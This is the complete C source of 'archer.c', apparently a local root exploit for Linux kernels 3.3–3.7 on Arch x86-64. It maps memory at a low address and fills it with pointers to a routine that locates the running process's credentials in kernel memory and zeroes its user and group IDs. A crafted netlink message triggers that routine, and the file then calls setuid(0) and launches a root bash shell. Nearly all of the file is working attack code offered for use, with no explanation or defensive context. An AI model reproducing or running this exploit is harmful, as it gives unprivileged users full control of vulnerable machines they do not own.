1. // archer.c
  2. //
  3. // 2012 sd@fucksheep.org
  4. //
  5. // Works reliably against x86-64 3.3-3.7 arch.
  6. //
  7. // Tested against:
  8. //
  9. // Linux XXX 3.3.1-1-ARCH #1 SMP PREEMPT Tue Apr 3 06:46:17 UTC 2012 x86_64 GNU/Linux
  10. // Linux XXX 3.4.7-1-ARCH #1 SMP PREEMPT Sun Jul 29 22:02:56 CEST 2012 x86_64 GNU/Linux
  11. // Linux XXX 3.7.4-1-ARCH #1 SMP PREEMPT Mon Jan 21 23:05:29 CET 2013 x86_64 GNU/Linux
  12. // ...
  13.  
  14. #include <assert.h>
  15.  
  16. #define JUMP    0x0000100000001000LL
  17. #define BASE    0x380000000
  18. #define SIZE    0x010000000
  19. #define KSIZE   0x2000000
  20.  
  21. static long ugid;
  22.  
  23. void patch_current() {
  24.         int i,j,k;
  25.         char *current = *(char**)(((long)&i) & (-8192));
  26.         long kbase = ((long)current)>>36;
  27.  
  28.         for (i=0; i<4000; i+=4) {
  29.                 long *p = (void *)&current[i];
  30.                 int *t = (void*) p[0];
  31.                 if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;
  32.                 for (j=0; j<20; j++) {
  33.             for (k = 0; k < 8; k++)
  34.                             if (((int*)&ugid)[k%2] != t[j+k]) goto next;
  35.                         for (i = 0; i < 8; i++) t[j+i] = 0;
  36.                         for (i = 0; i < 10; i++) t[j+9+i] = -1;
  37.                         return;
  38. next:;          }
  39.         }
  40. }
  41.  
  42.  
  43. int main()
  44. {
  45.     long u = getuid();
  46.     long g = getgid();
  47.     int i, f = socket(16,3,4);
  48.     static int n[10] = {40,0x10014,0,0,45,-1};
  49.  
  50.     assert(mmap((void*)(1<<12), 1<<20, 3, 0x32, 0, 0)!=-1);
  51.  
  52.     setresuid(u,u,u); setresgid(g,g,g);
  53.     ugid = (g<<32)|u;
  54.  
  55.     memcpy(1<<12, &patch_current, 1024);
  56.     for (i = 0; i < (1<<17); i++) ((void**)(1<<12))[i] = &patch_current;
  57.     send(f, n, sizeof(n), 0);
  58.     setuid(0);
  59.     return execl("/bin/bash", "-sh", 0);
  60. }